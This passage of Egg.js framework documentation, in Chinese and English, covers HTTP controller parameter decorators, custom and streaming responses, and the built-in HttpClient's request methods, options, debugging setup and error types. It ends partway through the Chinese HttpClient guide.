  // 匹配 path 中第一个正则表达式匹配的字符
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/foo/(.*)' })
  async getParamBar(@HTTPParam({ name: '0' }) bar: string) {
    // ...
  }
}
```

### HTTPBody

`HTTPBody` 装饰器用于获取请求体内容，框架在注入时，会先根据请求头中的 `content-type` 对请求体进行解析，支持 json、text 以及 form-urlencoded。其他 `content-type` 类型会注入空值，可通过 `Request` 装饰器获取原始请求体，自行进行处理。

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPBody } from 'egg';

export interface BodyData {
  foo: string;
  bar?: number;
}

@HTTPController()
export default class ArgsController {
  // content-type: application/json
  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/json-body' })
  async getJsonBody(@HTTPBody() body: BodyData) {
    // ...
  }

  // content-type: text/plain
  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/text-body' })
  async getTextBody(@HTTPBody() body: string) {
    // ...
  }

  // content-type: application/x-www-form-urlencoded
  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/formdata-body' })
  async getFormBody(
    @HTTPBody() body: FormData, // 函数应用中，为  FormData 类型
    // @HTTPBody() body: BodyData, // 标准应用中，为普通对象
  ) {
    // ...
  }
}
```

### Cookies

`Cookies` 装饰器用于获取完整的 HTTP Cookies。

```typescript
import {
  Cookies,
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
  HTTPCookies,
} from 'egg';

@HTTPController()
export default class ArgsController {
  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/cookies' })
  async getCookies(@HTTPCookies() cookies: Cookies) {
    return {
      success: true,
      cookies: cookies.get('test', { signed: false }),
    };
  }
}
```

### HTTPRequest

`HTTPRequest` 装饰器用于获取完整的 HTTP 请求对象，可获取 url、headers 以及 body 等请求信息，具体 api 可参考类型定义。

:::warning
⚠️ 注意：通过 @HTTPBody 装饰器注入请求体后，会对请求体进行消费。若同时注入 @HTTPRequest，再次消费请求体时，将会导致错误（注入 @HTTPRequest，不消费请求体，获取 url、headers 等信息不会有影响）。
:::

```typescript
import {
  HTTPBody,
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
  HTTPRequest,
} from 'egg';

@HTTPController()
export default class ArgsController {
  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/request' })
  async getRequest(@HTTPRequest() request: Request) {
    const headerData = request.headers.get('x-header-key');
    const url = request.url;
    // 获取请求体 arrayBuffer
    const arrayBufferData = await request.arrayBuffer();
    // ...
  }

  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/request2' })
  async getRequest2(@HTTPBody() body: object, @HTTPRequest() request: Request) {
    // 同时注入 HTTPBody 和 Request，通过 request 读取 header、url 等信息可正常运行
    const headerData = request.headers.get('x-header-key');
    const url = request.url;
    // ❌ 错误示例
    // 已经通过 HTTPBody 注入请求体的情况下
    // 又同时通过 request 再次消费请求体时，将会抛出异常
    // const arrayBufferData = await request.arrayBuffer();
    // ...
  }
}
```

### HTTPContext

在标准应用中，可使用 `HTTPContext` 装饰器，用于获取 egg 的 [Context][Context] 对象。

:::warning
⚠️ 注意：函数应用中，不支持使用 `HTTPContext` 装饰器。
:::

```typescript
import {
  HTTPContext,
  Context,
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
} from 'egg';

@HTTPController()
export default class ArgsController {
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/context' })
  async getContext(@HTTPContext() context: Context) {
    // ...
  }
}
```

## HTTP 响应

### 默认响应

默认情况下，`HTTPMethod` 函数返回对象时，框架会进行 `JSON.stringify` 处理，并设置 `Content-Type: application/json` 返回给客户端。

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';

@HTTPController()
export default class ResponseController {
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/json' })
  async defaultResponse() {
    return {
      result: 'hello world',
    };
  }
}
```

### 自定义响应

#### 函数应用

在函数应用中，当需要返回非 JSON 数据，或需要设置 HTTP 响应码以及响应头等数据时，可通过全局注入的 `Response` 对象进行设置并返回。

```typescript
import { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';

@HTTPController()
export default class ResponseController {
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/custom-response' })
  async customResponse() {
    // Response 为全局对象，无需 import
    return new Response('<h1>Hello World</h1>', {
      status: 200,
      headers: {
        'transfer-encoding': 'chunked',
        'content-type': 'text/html; charset=utf-8',
        'x-header-key': 'from-function',
      },
    });
  }
}
```

#### 标准应用

在标准应用中，可以通过 [Context][Context] 提供的 api 来自定义设置 HTTP 响应码和响应头等信息。

```typescript
import {
  Context,
  HTTPContext,
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
} from 'egg';

@HTTPController()
export default class ResponseController {
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/custom-response' })
  async customResponse(@HTTPContext() ctx: Context) {
    // 自定义响应码
    ctx.status = 200;
    // 添加自定义响应头
    ctx.set('x-custom', 'custom');
    // 设置 Content-Type 的语法糖，等价于 ctx.set('content-type', 'application/json')
    // 支持 json、html 等常见类型，可参考 https://github.com/jshttp/mime-types
    ctx.type = 'html';

    return '<h1>Hello World</h1>';
  }
}
```

### 流式响应

只需要将流式数据包装为一个 `Readable` 对象并返回即可。

```typescript
import { Readable } from 'node:stream';
import { setTimeout } from 'node:timers/promises';
import {
  Context,
  HTTPContext,
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
} from 'egg';

// 构造流式数据
async function* generate(count = 5, duration = 500) {
  yield '<html><head><title>hello stream</title></head><body>';
  for (let i = 0; i < count; i++) {
    yield `<h2>流式内容${i + 1}，${Date()}</h2>`;
    await setTimeout(duration);
  }
  yield '</body></html>';
}

@HTTPController()
export default class ResponseController {
  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/stream' })
  async streamResponse(@HTTPContext() ctx: Context) {
    ctx.type = 'html';
    return Readable.from(generate());
  }
}
```

[Context]: ./objects.md#context

---

---
url: /core/httpclient.md
---

Countless services rely on the HTTP-based communication nowadays, and it is a very common application scenario that web applications call back-end HTTP services.

The framework built in \[HttpClient] based on \[urllib], you can quickly complete any HTTP request.

## Using HttpClient by `app`

\[HttpClient] will initialize to `app.httpclient` automatically during the application's initialization.
Also added an method `app.curl(url, options)`, which is equivalent to the `app.httpclient.request(url, options)`.

So you can easily use `app.curl` to complete a HTTP request.

```js
// app.js
module.exports = (app) => {
  app.beforeStart(async () => {
    // example: read the version info on https://registry.npmmirror.com/egg/latest when it starts
    const result = await app.curl('https://registry.npmmirror.com/egg/latest', {
      dataType: 'json',
    });
    app.logger.info('Egg latest version: %s', result.data.version);
  });
};
```

## Using HttpClient by `ctx`

Framework also provides `ctx.curl(url, options)` and `ctx.httpclient` in Context, same as app.
So it's very easy to use `ctx.curl()` to complete a HTTP request in the Context (such as in the controller)

```js
// app/controller/npm.js
class NpmController extends Controller {
  async index() {
    const ctx = this.ctx;

    // example: request a npm module's info
    const result = await ctx.curl('https://registry.npmmirror.com/egg/latest', {
      // parse JSON response
      dataType: 'json',
      // timeout of 3s
      timeout: 3000,
    });

    ctx.body = {
      status: result.status,
      headers: result.headers,
      package: result.data,
    };
  }
}
```

## Basic HTTP Request

HTTP has been widely used and have several methods to make request, but the methods are similar. We start with the basic four request methods then move to some more complex scenario.

In the following example, we will complete the request of https://httpbin.org in the controller.

### GET

Reading data almost uses GET request. It is the most common type and widely used in the world of HTTP. And it is also easier to construct a request parameter.

```js
// app/controller/npm.js
class NpmController extends Controller {
  async get() {
    const ctx = this.ctx;
    const result = await ctx.curl('https://httpbin.org/get?foo=bar');
    ctx.status = result.status;
    ctx.set(result.headers);
    ctx.body = result.data;
  }
}
```

* GET request might not need to set `options.method`. HttpClient Defalut method is set to `GET`
* Return `result` will contains 3 attributes: `status`, `headers` and `data`
  * `status`: response status，for example `200`, `302`, `404`, `500` and etc
  * `headers`: response header，similar to `{ 'content-type': 'text/html', ... }`
  * `data`: response body，default HttpClient doesn't do anything and returns as Buffer directly.
    Once the `options.dataType` is set，HttpClient will process the `data` based on the parameters

For the complete request parameter `options` and return value `result`, refer to below section [options Parameters in Detail](#options-parameters-in-detail)

### POST

The scenario of creating data generally uses the POST request with body parameter, one more parameter compared to GET.

Take sending JSON boy as example:

```js
// app/controller/npm.js
class NpmController extends Controller {
  async post() {
    const ctx = this.ctx;
    const result = await ctx.curl('https://httpbin.org/post', {
      // method is required
      method: 'POST',
      // telling HttpClient to send data as JSON by contentType
      contentType: 'json',
      data: {
        hello: 'world',
        now: Date.now(),
      },
      // telling HttpClient to process the return body as JSON format explicitly
      dataType: 'json',
    });
    ctx.body = result.data;
  }
}
```

The following will explain POST to achieve Form function of form submission and file upload in detail.

### PUT

Similar to POST, but PUT is better for data updating and replacement. Almost the same parameters as POST except setting method as `PUT`.

```js
// app/controller/npm.js
class NpmController extends Controller {
  async put() {
    const ctx = this.ctx;
    const result = await ctx.curl('https://httpbin.org/put', {
      // method is required
      method: 'PUT',
      // telling HttpClient to send data as JSON by contentType
      contentType: 'json',
      data: {
        update: 'foo bar',
      },
      // telling HttpClient to process the return body as JSON format explicitly
      dataType: 'json',
    });
    ctx.body = result.data;
  }
}
```

### DELETE

DELETE request is to delete the data, request body don't need to add request body but HttpClient don't have the limitation.

```js
// app/controller/npm.js
class NpmController extends Controller {
  async del() {
    const ctx = this.ctx;
    const result = await ctx.curl('https://httpbin.org/delete', {
      // method is required
      method: 'DELETE',
      // telling HttpClient to process the return body as JSON format explicitly
      dataType: 'json',
    });
    ctx.body = result.data;
  }
}
```

## Advanced HTTP Request

In some real application scenarios, still have some more complex HTTP requests.

### Form Submission

Interfaces of Browser-Oriented Form Submission (without files), usually require `content-type: application/x-www-form-urlencoded` for the data requesting.

```js
// app/controller/npm.js
class NpmController extends Controller {
  async submit() {
    const ctx = this.ctx;
    const result = await ctx.curl('https://httpbin.org/post', {
      // method is required, supports POST，PUT and DELETE
      method: 'POST',
      // contentType is not needed, by default HttpClient will send request in application/x-www-form-urlencoded
      data: {
        now: Date.now(),
        foo: 'bar',
      },
      // telling HttpClient to process the return body as JSON format explicitly
      dataType: 'json',
    });
    ctx.body = result.data.form;
    // final response will similar as below:
    // {
    //   "foo": "bar",
    //   "now": "1483864184348"
    // }
  }
}
```

### Uploading Files by Multipart

Once form submission contains files, submission of requesting data must be [multipart/form-data](http://tools.ietf.org/html/rfc2388)
\[urllib] has a built-in module \[formstream] to generate `form` objects that can be consumed by HttpClient.

```js
// app/controller/http.js
class HttpController extends Controller {
  async upload() {
    const { ctx } = this;

    const result = await ctx.curl('https://httpbin.org/post', {
      method: 'POST',
      dataType: 'json',
      data: {
        foo: 'bar',
      },

      // one file
      files: __filename,

      // many files
      // files: {
      //   file1: __filename,
      //   file2: fs.createReadStream(__filename),
      //   file3: Buffer.from('mock file content'),
      // },
    });

    ctx.body = result.data.files;
    // Response:
    // {
    //   "file": "'use strict';\n\nconst For...."
    // }
  }
}
```

### Uploading Files in Stream Mode

In fact, Stream is the leading in the world of Node.js.
If the server supports streaming, the most friendly way is to send the Stream directly. Actually, Stream will be sent in `Transfer-Encoding: chunked` transmission coding format, which is implemented by \[HTTP] module automatically.

```js
// app/controller/npm.js
const fs = require('fs');
const FormStream = require('formstream');
class NpmController extends Controller {
  async uploadByStream() {
    const ctx = this.ctx;
    // uploading the current file for test propose
    const fileStream = fs.createReadStream(__filename);
    // httpbin.org not support stream mode, use the local stream interface instead
    const url = `${ctx.protocol}://${ctx.host}/stream`;
    const result = await ctx.curl(url, {
      // method is required, supports POST，PUT
      method: 'POST',
      // submitted by stream mode
      stream: fileStream,
    });
    ctx.status = result.status;
    ctx.set(result.headers);
    ctx.body = result.data;
    // final response will similar as below:
    // {"streamSize":574}
  }
}
```

## Options Parameters in Detail

Due to the complexity of HTTP Request, the options parameters of `httpclient.request(url, options)` quite large. The actual usage of each optional parameter will be shown with descriptions and coding as below.

### Default HttpClient Global Configuration

```js
// config/config.default.js
exports.httpclient = {
  // whether to enable local DNS cache, default disable, enable will have two characteristics
  // 1. All DNS lookup will prefer to use the cache by default, even DNS query error does not affects the application
  // 2. For the same hostname, query only once during the interval of dnsCacheLookupInterval (default 10s)
  enableDNSCache: false,
  // minimum interval of DNS query on the same hostname
  dnsCacheLookupInterval: 10000,
  // maximum number of hostname DNS cache simultaneously, default 1000
  dnsCacheMaxLength: 1000,

  request: {
    // default timeout of request
    timeout: 3000,
  },

  httpAgent: {
    // default enable http KeepAlive
    keepAlive: true,
    // idle KeepAlive socket can survive for 4 seconds
    freeSocketTimeout: 4000,
    // when sockets have no activity for more than 30s, it will be processed as timeout
    timeout: 30000,
    // maximum number of sockets allow to be created
    maxSockets: Number.MAX_SAFE_INTEGER,
    // maximum number of idle sockets
    maxFreeSockets: 256,
  },

  httpsAgent: {
    // default enable https KeepAlive
    keepAlive: true,
    // idle KeepAlive socket can survive for 4 seconds
    freeSocketTimeout: 4000,
    // when sockets have no activity for more than 30s, it will be processed as timeout
    timeout: 30000,
    // maximum number of sockets allow to be created
    maxSockets: Number.MAX_SAFE_INTEGER,
    // maximum number of idle sockets
    maxFreeSockets: 256,
  },
};
```

Application can overrides the configuration by `config/config.default.js`

### `data: Object`

The request data will select the correct processing method automatically based on the `method`.

* GET，HEAD: processed by `querystring.stringify(data)` then append to the query parameters of url.
* POST，PUT, DELETE and etc: further judgments and process according to `contentType`.
  * `contentType = json`: processed by `JSON.stringify(data)` and set it as body before sending.
  * others: processed by `querystring.stringify(data)` and set it as body before sending

```js
// GET + data
ctx.curl(url, {
  data: { foo: 'bar' },
});

// POST + data
ctx.curl(url, {
  method: 'POST',
  data: { foo: 'bar' },
});

// POST + JSON + data
ctx.curl(url, {
  method: 'POST',
  contentType: 'json',
  data: { foo: 'bar' },
});
```

### `dataAsQueryString: Boolean`

Once `dataAsQueryString=true` is set, even under POST, it will forces `options.data` to be processed by `querystring.stringify` then append to the `url` query parameters

The application scenarios that sending data using `stream` and pass additional request parameters by `url` query can be well resolved.

```js
ctx.curl(url, {
  method: 'POST',
  dataAsQueryString: true,
  data: {
    // generally it would be some validation parameters such as access token, etc.
    accessToken: 'some access token value',
  },
  stream: myFileStream,
});
```

### `content: String|Buffer`

Set request Context, if the parameter is set, it will ignore the `data` parameters

```js
ctx.curl(url, {
  method: 'POST',
  // Sending the raw xml data without HttpClient's to do processing
  content: '<xml><hello>world</hello></xml>',
  headers: {
    'content-type': 'text/html',
  },
});
```

### `files: Mixed`

File upload, support: `String | ReadStream | Buffer | Array | Object`.

```js
ctx.curl(url, {
  method: 'POST',
  files: '/path/to/read',
  data: {
    foo: 'other fields',
  },
});
```

upload multiple files:

```js
ctx.curl(url, {
  method: 'POST',
  files: {
    file1: '/path/to/read',
    file2: fs.createReadStream(__filename),
    file3: Buffer.from('mock file content'),
  },
  data: {
    foo: 'other fields',
  },
});
```

### `stream: ReadStream`

Set request context's readable stream, default `null`.
If the parameter is set , HttpClient will ignore `data` and `content`

```js
ctx.curl(url, {
  method: 'POST',
  stream: fs.createReadStream('/path/to/read'),
});
```

### `writeStream: WriteStream`

Set receive response data's writeable stream, default `null`.
Once the parameter is set, response `result.data` is set to `null` because all data are written to `writeStream`.

```js
ctx.curl(url, {
  writeStream: fs.createWriteStream('/path/to/store'),
});
```

### `consumeWriteStream: Boolean`

Whether to wait for `writeStream` completely finished as the response well received
This parameter is not recommended to modify the default value, unless we know it's side effect are acceptable. Otherwise, the `writeStream` data is likely to be incomplete.

### `method: String`

Set request method, default `GET`. Support all `GET、POST、PUT、DELETE、PATCH` and so on [all HTTP methods](https://nodejs.org/api/http.html#http_http_methods)。

### `contentType: String`

Set request data format ，default `undefined`，HttpClient will sets automatically based on the `data` and `content` parameters.
When `data` is object, the default setting would be `form`. Support `json` format.

If need to send `data` by JSON

```js
ctx.curl(url, {
  method: 'POST',
  data: {
    foo: 'bar',
    now: Date.now(),
  },
  contentType: 'json',
});
```

### `dataType: String`

Set the response data format, default return the raw buffer formatted data without processing. Support `text` and `json`

**Note: If `json` is set，a `JSONResponseFormatError` error would be thrown if fails to parse the response data.**

```js
const jsonResult = await ctx.curl(url, {
  dataType: 'json',
});
console.log(jsonResult.data);

const htmlResult = await ctx.curl(url, {
  dataType: 'text',
});
console.log(htmlResult.data);
```

### `fixJSONCtlChars: Boolean`

Whether filter the special control characters in the response data (U+0000 ~ U+001F)，default `false`
Typically, the JSON data returned by some CGI system might contains such special control characters, which can be filter automatically by setting the parameters.

```js
ctx.curl(url, {
  fixJSONCtlChars: true,
  dataType: 'json',
});
```

### `headers: Object`

Custom request headers

```js
ctx.curl(url, {
  headers: {
    'x-foo': 'bar',
  },
});
```

### `timeout: Number|Array`

Timeout of request, default `[ 5000, 5000 ]`, timeout of connection creation is 5s, and the timeout of receive response is 5s.

```js
ctx.curl(url, {
  // 3s timeout of connection creation, and the 3s timeout of receive response
  timeout: 3000,
});

ctx.curl(url, {
  // 1s timeout of connection creation, and the 30s timeout of receive response for the responsing of larger scenarios
  timeout: [1000, 30000],
});
```

### `agent: HttpAgent`

Allows to override the default HttpAgent through this parameter. If you don't want to enable KeepAlive, set this parameter to `false`.

```js
ctx.curl(url, {
  agent: false,
});
```

### `httpsAgent: HttpsAgent`

Allows to override the default HttpsAgent through this parameter. If you don't want to enable KeepAlive, set this parameter to `false`.

```js
ctx.curl(url, {
  httpsAgent: false,
});
```

### `auth: String`

Parameter of Simple login authorization (Basic Authentication), will send the login information to the `Authorization` request in clear form.

```js
ctx.curl(url, {
  // parameter must follow the format of `user:password`
  auth: 'foo:bar',
});
```

### `digestAuth: String`

Parameter of the Digest Authentication. If the parameter is set, it will attempt to generate the `Authorization` request header for the 401 response automatically then try requesting for authorization once.

```js
ctx.curl(url, {
  // parameter must follow the format of `user:password`
  digestAuth: 'foo:bar',
});
```

### `followRedirect: Boolean`

Whether to follow 3xx redirect response, default `false`

```js
ctx.curl(url, {
  followRedirect: true,
});
```

### `maxRedirects: Number`

Set the maximum number of automatic redirects to prevent the endless redirect loop, default 10 times.
The parameter should not be set too large and only works in the `followRedirect=true`

```js
ctx.curl(url, {
  followRedirect: true,
  // maximum allowed redirect 5 times
  maxRedirects: 5,
});
```

### `formatRedirectUrl: Function(from, to)`

`formatRedirectUrl` allow us to customize the implementation of 302、301 other redirect URL splicing, default `url.resolve (from, to) `.

```js
ctx.curl(url, {
  formatRedirectUrl: (from, to) => {
    // for example you can correct the redirection of wrong url here
    if (to === '//foo/') {
      to = '/foo';
    }
    return url.resolve(from, to);
  },
});
```

### `beforeRequest: Function(options)`

HttpClient will attempt to invoke the `beforeRequest` hook before requesting officially, allowing us to make the last modification of the request parameter here.

```js
ctx.curl(url, {
  beforeRequest: (options) => {
    // For example, we can set the global request ID to facilitate log tracking
    options.headers['x-request-id'] = uuid.v1();
  },
});
```

### `streaming: Boolean`

Whether to return the response stream directly, default `false`
After enable streaming, HttpClient will return immediately after getting the response object res,
At this moment `result.headers` and `result.status` can be read, but still cannot read the data

```js
const result = await ctx.curl(url, {
  streaming: true,
});

console.log(result.status, result.data);
// result.res is a ReadStream Object
ctx.body = result.res;
```

**if res is not passed to body directly, then we must consume this stream and do well in error handling.**

### `gzip: Boolean`

Whether to support gzip response format, default `false`
After enable gzip, HttpClient will set `Accept-Encoding: gzip` header and extract the data with `Content-Encoding: gzip` response header automatically.

```js
ctx.curl(url, {
  gzip: true,
});
```

### `timing: Boolean`

Whether to enable the time measurement for each phase, default `false`
After enable the timing, you can get the time measurements of HTTP request (in milliseconds) from the `result.res.timing`.
Through these measurements, we can easily locate the slowest environment in the request, similar to the Chrome network timing.

Measurement timing's analysis of each stage:

* queuing: allocating socket time consuming
* dnslookup: DNS queries time consuming
* connected: socket three handshake success time consuming
* requestSent: requesting full data time consuming
* waiting: first byte to received response time consuming
* contentDownload: full response data time consuming

```js
const result = await ctx.curl(url, {
  timing: true,
});
console.log(result.res.timing);
// {
//   "queuing":29,
//   "dnslookup":37,
//   "connected":370,
//   "requestSent":1001,
//   "waiting":1833,
//   "contentDownload":3416
// }
```

### `ca，rejectUnauthorized，pfx，key，cert，passphrase，ciphers，secureProtocol`

These are parameters are passed to the \[HTTPS] modules，details refer to [`https.request(options, callback)`](https://nodejs.org/api/https.html#https_https_request_options_callback)。

## Debugging Aid

If you want to debug the httpclient requests, just need to add below code to `config.local.js`:

```js
// config.local.js
module.exports = () => {
  const config = {};

  // add http_proxy to httpclient
  if (process.env.http_proxy) {
    config.httpclient = {
      request: {
        enableProxy: true,
        rejectUnauthorized: false,
        proxy: process.env.http_proxy,
      },
    };
  }

  return config;
};
```

then open capture tools(such as \[charles] or \[fiddler]).

after that, just start your application by:

```bash
$ http_proxy=http://127.0.0.1:8888 npm run dev
```

Then it works correctly, and all requests that go through HttpClient can be viewed in the capture tools.

## Known Issues

### Connection Timeout

* Exception: `ConnectionTimeoutError`
* Scene: usually occurred by the DNS query is slow, or the network is slow between the client and server
* Troubleshooting Suggestion: increase the `timeout` parameter appropriately.

### Service Response Timeout

* Exception: `ResponseTimeoutError`
* Scene: usually occurred by network is slower between the client and server, and happens when the data is relatively large.
* Troubleshooting Suggestion: increase the `timeout` parameter appropriately.

### Service Disconnect

* Exception: `ResponseError, code: ECONNRESET`
* Scene: usually the server actively disconnects the socket connection, causing the HTTP request link exceptions.
* Troubleshooting Suggestion: please check if server has network exception at that time

### Service is Unreachable

* Exception: `RequestError, code: ECONNREFUSED, status: -1`
* Scene: usually because the requested URL which attached IP or the port cannot connect successfully.
* Troubleshooting Suggestion: make sure the IP or port is set correctly

### Domain Name is Not Existing

* Exception: `RequestError, code: ENOTFOUND, status: -1`
* Scene: usually the domain name requested by URL cannot be resolved by DNS successfully.
* Troubleshooting Suggestion: make sure the domain name exists, and also check to see if the DNS service is properly configured.

### JSON Response Data Format Error

* Exception: `JSONResponseFormatError`
* scene: the `dataType=json` is set and this exception is thrown in response data that does not match JSON format.
* Troubleshooting Suggestion: make sure that the server no matter what situations are returns the data in JSON format correctly.

## Global `request` and `response` Events

In enterprise application scenarios, generally a unified tracer log is needed.
To facilitate monitoring HttpClient requests and responses on the app level, we agreed on global `request` and `response` to expose these two events.

```bash
    init options
        |
        V
    emit `request` event
        |
        V
    send request and receive response
        |
        V
    emit `response` event
        |
        V
       end
```

### `request` Event Occurs before the Network Operation

A `request` event is triggered before the request is sent, allowing blocking of the request.

```js
app.httpclient.on('request', (req) => {
  req.url; //request url
  req.ctx; //context of the request

  // you can set some trace headers here for full link tracking propose
});
```

### `response` Event Occurs after the End of Network Operation

After the end of request, a `response` event is triggered, so that the external event can be subscribed to the log printing.

```js
app.httpclient.on('response', (result) => {
  result.res.status;
  result.ctx; //context of the request
  result.req; //the corresponding req object, which the req in the request event
});
```

## Example

Full examples can be found on [eggjs/examples/httpclient](https://github.com/eggjs/examples/blob/master/httpclient) .

Other Reference Links

* [urllib](https://github.com/node-modules/urllib)
* [httpclient](https://github.com/eggjs/egg/blob/master/lib/core/httpclient.js)
* [formstream](https://github.com/node-modules/formstream)
* [http](https://nodejs.org/api/http.html)
* [https](https://nodejs.org/api/https.html)
* [charles](https://www.charlesproxy.com/)
* [fiddler](http://www.telerik.com/fiddler)

---

---
url: /zh-CN/core/httpclient.md
---
# HttpClient

互联网时代，无数服务是基于 HTTP 协议进行通信的，Web 应用调用后端 HTTP 服务是一种非常常见的应用场景。

为此，框架基于 \[urllib] 内置实现了一个 \[HttpClient]，应用可以非常便捷地完成任何 HTTP 请求。

## 通过 `app` 使用 HttpClient

框架在应用初始化的时候，会自动将 \[HttpClient] 初始化到 `app.httpClient`。

这样就可以非常方便地使用 `app.httpClient.request` 方法完成一次 HTTP 请求。

```ts
// app.ts
export default (app: EggApplication) => {
  app.beforeStart(async () => {
    // 示例：启动时去读取 https://registry.npmmirror.com/egg/latest 的版本信息
    const result = await app.httpClient.request(
      'https://registry.npmmirror.com/egg/latest',
      {
        dataType: 'json',
      },
    );
    app.logger.info('Egg 最新版本：%s', result.data.version);
  });
};
```

## 通过 `ctx` 使用 HttpClient

框架在 Context 中同样提供了 `ctx.httpClient`，以保持与 app 下的使用体验一致。这样，在有 Context 的地方（如在 controller 中）非常方便地使用 `ctx.httpClient.request(url, options)` 方法完成一次 HTTP 请求。

```ts
// app/controller/npm.ts
export default class NpmController extends Controller {
  async index() {
    const ctx = this.ctx;

    // 示例：请求一个 npm 模块信息
    const result = await ctx.httpClient.request(
      'https://registry.npmmirror.com/egg/latest',
      {
        // 自动解析 JSON 响应
        dataType: 'json',
        // 3 秒超时
        timeout: 3000,
      },
    );

    ctx.body = {
      status: result.status,
      headers: result.headers,
      package: result.data,
    };
  }
}
```

## 基本 HTTP 请求

HTTP 已经被广泛大量使用。尽管 HTTP 有多种请求方式，但是万变不离其宗。我们先以基本的四个请求方法为例子，逐步讲解一下更多的复杂应用场景。

以下例子都会在 controller 代码中对 `https://httpbin.org` 发起请求来完成。

### GET

读取数据几乎都是使用 GET 请求。它是 HTTP 世界最常见的一种，也是最广泛的一种。它的请求参数也是最容易构造的。

```ts
// app/controller/npm.ts
export default class NpmController extends Controller {
  async get() {
    const ctx = this.ctx;
    const result = await ctx.httpClient.request(
      'https://httpbin.org/get?foo=bar',
    );
    ctx.status = result.status;
    ctx.set(result.headers);
    ctx.body = result.data;
  }
}
```

* GET 请求可以不用设置 `options.method` 参数，`HttpClient` 的默认 `method` 会设置为 `GET`。
* 返回值 `result` 会包含三个属性：`status`，`headers` 和 `data`。
  * `status`：响应状态码，如 `200`，`302`，`404`，`500` 等等。
  * `headers`：响应头，类似 `{ 'content-type': 'text/html', ... }`。
  * `data`：响应 body，默认 `HttpClient` 不会进行任何处理，会直接返回 `Buffer` 类型数据。
    一旦设置了 `options.dataType`，`HttpClient` 将会根据此参数对 `data` 进行相应的处理。

完整的请求参数 `options` 和返回值 `result` 的说明请看下文的 [options 参数详解](#options-参数详解) 章节。

### POST

创建数据的场景一般来说都会使用 POST 请求，它相对于 GET 来说，多了请求 body 这个参数。

以发送 JSON body 的场景举例：

```ts
// app/controller/npm.ts
export default class NpmController extends Controller {
  async post() {
    const ctx = this.ctx;
    const result = await ctx.httpClient.request('https://httpbin.org/post', {
      // 必须指定 method
      method: 'POST',
      // 通过 contentType 告诉 HttpClient 以 JSON 格式发送
      contentType: 'json',
      data: {
        hello: 'world',
        now: Date.now(),
      },
      // 明确告诉 HttpClient 以 JSON 格式处理返回的响应 body
      dataType: 'json',
    });
    ctx.body = result.data;
  }
}
```

下文还会详细讲解以 POST 实现表单提交和文件上传的功能。

### PUT

PUT 与 POST 类似，它更加适合更新数据和替换数据的语义。
除了 method 参数需要设置为 `PUT`，其他参数几乎与 POST 完全一样。

```ts
// app/controller/npm.ts
export default class NpmController extends Controller {
  async put() {
    const ctx = this.ctx;
    const result = await ctx.httpClient.request('https://httpbin.org/put', {
      // 必须指定 method
      method: 'PUT',
      // 通过 contentType 告诉 HttpClient 以 JSON 格式发送
      contentType: 'json',
      data: {
        update: 'foo bar',
      },
      // 明确告诉 HttpClient 以 JSON 格式处理响应 body
      dataType: 'json',
    });
    ctx.body = result.data;
  }
}
```

### DELETE

删除数据会选择 DELETE 请求。它通常可以不需要增加请求 body，但是 `HttpClient` 不会对此进行限制。

```ts
// app/controller/npm.ts
export default class NpmController extends Controller {
  async del() {
    const ctx = this.ctx;
    const result = await ctx.httpClient.request('https://httpbin.org/delete', {
      // 必须指定 method
      method: 'DELETE',
      // 明确告诉 HttpClient 以 JSON 格式处理响应 body
      dataType: 'json',
    });
    ctx.body = result.data;
  }
}
```

## 高级 HTTP 请求

在真实的应用场景下，还会包含一些较为复杂的 HTTP 请求。

### Form 表单提交

面向浏览器设计的 Form 表单（不包含文件）提交接口，通常都要求以 `content-type: application/x-www-form-urlencoded` 的格式提交请求数据。

```ts
// app/controller/npm.ts
export default class NpmController extends Controller {
  async submit() {
    const ctx = this.ctx;
    const result = await ctx.httpClient.request('https://httpbin.org/post', {
      // 必须指定 method，支持 POST，PUT 和 DELETE
      method: 'POST',
      // 不需要设置 contentType，HttpClient 会默认以 application/x-www-form-urlencoded 格式发送请求
      data: {
        now: Date.now(),
        foo: 'bar',
      },
      // 明确告诉 HttpClient 以 JSON 格式处理响应 body
      dataType: 'json',
    });
    ctx.body = result.data.form;
    // 响应最终会是类似以下的结果：
    // {
    //   "foo": "bar",
    //   "now": "1483864184348"
    // }
  }
}
```

### 以 Multipart 方式上传文件

当一个 Form 表单提交包含文件时，请求数据格式就必须以 [multipart/form-data](http://tools.ietf.org/html/rfc2388) 进行提交了。

\[urllib] 内置了 \[formstream] 模块来帮助我们生成可以被消费的 `form` 对象。

```ts
// app/controller/http.ts
export default class HttpController extends Controller {
  async upload() {
    const { ctx } = this;

    const result = await ctx.httpClient.request('https://httpbin.org/post', {
      method: 'POST',
      dataType: 'json',
      data: {
        foo: 'bar',
      },

      // 单文件上传
      files: __filename,

      // 多文件上传
      // files: {
      //   file1: __filename,
      //   file2: fs.createReadStream(__filename),
      //   file3: Buffer.from('mock file content'),
      // },
    });

    ctx.body = result.data.files;
    // 响应最终会是类似以下的结果：
    // {
    //   "file": "use strict; const For...."
    // }
  }
}
```

### 以 Stream 方式上传文件

其实，在 Node.js 的世界里面，Stream 才是主流。如果服务端支持流式上传，最友好的方式还是直接发送 Stream。Stream 实际会以 `Transfer-Encoding: chunked` 传输编码格式发送，这个转换是 \[HTTP] 模块自动实现的。

```ts
// app/controller/npm.ts
import fs from 'node:fs';
import FormStream from 'formstream';

export default class NpmController extends Controller {
  async uploadByStream() {
    const ctx = this.ctx;
    // 上传当前文件本身用于测试
    const fileStream = fs.createReadStream(import.meta.filename);
